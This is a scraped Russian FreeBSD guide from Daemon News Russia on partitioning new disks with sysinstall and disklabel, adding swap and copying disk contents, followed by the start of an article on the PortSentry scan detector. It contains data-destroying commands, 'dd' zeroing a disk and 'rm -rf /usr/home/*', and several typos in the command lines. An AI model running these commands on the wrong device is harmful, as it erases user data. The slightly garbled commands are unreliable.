2.2 Создание дисков в выделенном режиме, используя программу sysinstal /stand/sysinstall - системная инсталляционная утилита, которая была усовершенствована в последних версиях.с целью облегчить процесс разбиения диска на разделы. В sysinstall встроены редакторы fdisk и disklabel. Для FreeBSD начиная с версии 2.1.7, это самый простой способ разбить диск на разделы.
●
● ● ● ● ●
Запустите sysinstall с правами root, и наберите в командной строке /stand/sysinstall Выберите Index Выберите Partition Выберите диск для того чтобы отредатировать его при помощи клавиш со стрелками и пробела Если вы используете весь диск для FreeBSD, выберите A Когда появится сообщение: Do you want to do this with a true partition entry so as to remain cooperative with any future possible operating system on the drive(s)?
● ● ● ● ● ●
●
ответьте "NO" . Когда появится вопрос, хотите ли вы все еще это сделать - ответьте "YES". Выберите Write Когда вас предупредят о записи на инсталлированную систему ответьте "YES". Выйдете из редактора FDISK и вернитесь в меню Index. В меню Index выберите Label Для единственной партиции введите С для создания партиции, согласитесь с размером, установленным о умолчанию, типом Filesystem и точкой монтирования (которая не используется). Когда все будет сделано, введите W и подтвердите продолжение. Для создания файловой системы будет запущена программа newfs, если вы не укажете обратное ( для новых партиций это следует сделать). Вы получите следующую ошибку: Error mounting /mnt/dev/wd2s1e on /mnt/blah : No such file or directory
Эту ошибку нужно проигнорировать. ●
Выйдете из редактора, нажав ESCAPE два раза.
2.3 Создание дисков в выделенном режиме, используя командную строку. Выполните следующую команду, заменяя wd2 на имя диска. Комментарии начинаются с символа # dd if=/dev/zero of=/dev/rwd2 count=2 disklabel /dev/rwd2/ | disklabel -B -R -r wd2 /dev/stdin # мы хотми только одну партицию, поэтому использование раздела 'c' идеально newfs /dev/rwd2 Если вам необходимо редактировать disklabel для создания нескольких партиций( таких как swap), используйте следующие строки: dd if=/dev/zero of=/dev/rwd2 count=2 disklabel /dev/r$d | > /tmp/label #редактирование disklabel http://www.freebsd.bip.ru/format.shtml (3 of 5)10.04.2004 17:24:34
Daemon News Russia
для добавления партиций vi /tmp//label disklabel -B -R -r wd2 /tmp/label Теперь ваш диск готов к использованию. 3. Создание дисков в режиме совместимости 3.1 Введение 3.2 Создание дисков в режиме совместимости, используя программу sysinstall.
3.1 Введение Командная строка - это самый простой способ, чтобы сделать выделенный диск и самый сложный, чтобы сделать совместимый диск. Работа в командной строке с fdisk требует знания высшей математики и глубокого понимания таблицы разделов. Неудивительно, что большинство людей не хотят связываться с этим. Используйте sysnstall для создания совместимых дисков, как это описано ниже. 3.2 Создание дисков в совместимом режиме, используя sysinstall 1. Запустите sysinstall с правами root, набрав в командной строке /stand/sysinstall 2. 3. 4. 5. 6.
Выберите Index Выберите Partition Выберите диск для редактирования клавишами со стрелками и пробелом. Если вы исопльзуете весь диск для FreeBSD, выберите А. Когда появится сообщение Do you want to do this with a true partition entry so as to remain cooperative with any future possible operating system on the drive(s)? ответьте "YES"
7. Выберите Write 8. Когда система спросит об инсталляции менеджера загрузки, с помощью пробела выберите NONE, затем нажмтие ENTER. 9. Выйдете из редактора fdisk. 10. Вас спросят о менеджере загрузки, выберите NONE. 11. В меню Index выберите Label. 12. Для единственной партиции введите С для создания партиции, согласитесь с размером, установленным по умолчанию, типом Filesystem и точкой монтирования (которая не используется). 13. Когда все будет сделано, введите W и подтвердите продолжение. Для файловой системы будет запушена программа newfs, если вы не укажете обратное (для новых партиций это следует сделать ). Вы получите следующую ошибку: Error mounting /mnt/dev/wd2s1e on /mnt/blah : No such file or directory Эту ошибку нужно проигнорировать. 14. Выйдете из редактора, нажав ESCAPE два раза. Теперь ваш диск готов к использованию. http://www.freebsd.bip.ru/format.shtml (4 of 5)10.04.2004 17:24:34
Daemon News Russia
4. Другие дисковые операции. 4.1 Добавление пространства для свопинга. 4.2 Копирование содержимого дисков 4.1 Добавление пространства для свопинга. По мере увеличения системы в размере, пространство для свопинга тоже должно увеличиваться.Хотя добавление пространства для свопинга - очень сложный процесс, новый диск можно разбить на партиции с учетом дополнительного пространства для свопинга. Как добавить пространство для свопинга при добавлении диска к существующей системе. 1. Разбивая диск на разделы, расположите добавочное пространство для свопинга в паритции 'b', 2. а остаток в какой-нибудь другой партиции, например 'a' или 'e'. Размер задается в блоках по 512 байт. 3. Создавая на диске файловую систему, не создавайте ее в партиции 'c'. Вместо этого, запустите newfs для партицию, где лежит несвопинговое пространство. 4. Добавьте новую запись в /etc/fstab/: /dev/wd0b
none
swap
sw
0 0
Замените /dev/wd0b на устройство с новым добавочным пространством. 5. Чтобы сделать новое пространство доступным немедленно, используйте команду swapon. $ swapon /dev/sd0b swapon: added /dev/sd0b as swap space 4.2 Копирование содержимого дисков. Чтобы переместить файл с основного диска на новый сделайте следующее: mount /dev/wd2 /mnt pax -r -w -p e /usr/home /mnt umount /mnt rm -rf /usr/home/* mount /dev/wd2 /usr/home (c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/format.shtml (5 of 5)10.04.2004 17:24:34
Daemon News Russia
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь PortSentry - узнай своих врагов в лицо новости
Основная задача этой программы - отслеживание попыток сканирования системы. Ведь сканирование системы является прелюдией к более серьезным действиям со стороны сканирующего. Она определяет факт сканирования и (по выбору) реагируюетна него следующими действиями: 1. Регистрирует событие при помощи syslog() 2. Автоматически прописывает адрес сканирующего в файл/etc/hosts.deny 3. Перенастраивает систему так, что весь трафик с вражеского адреса перекидывается на т. н. "мертвый" хост, что создает эффект "исчезновения" твоего компьютера из сети. 4. Все IP пакеты, посту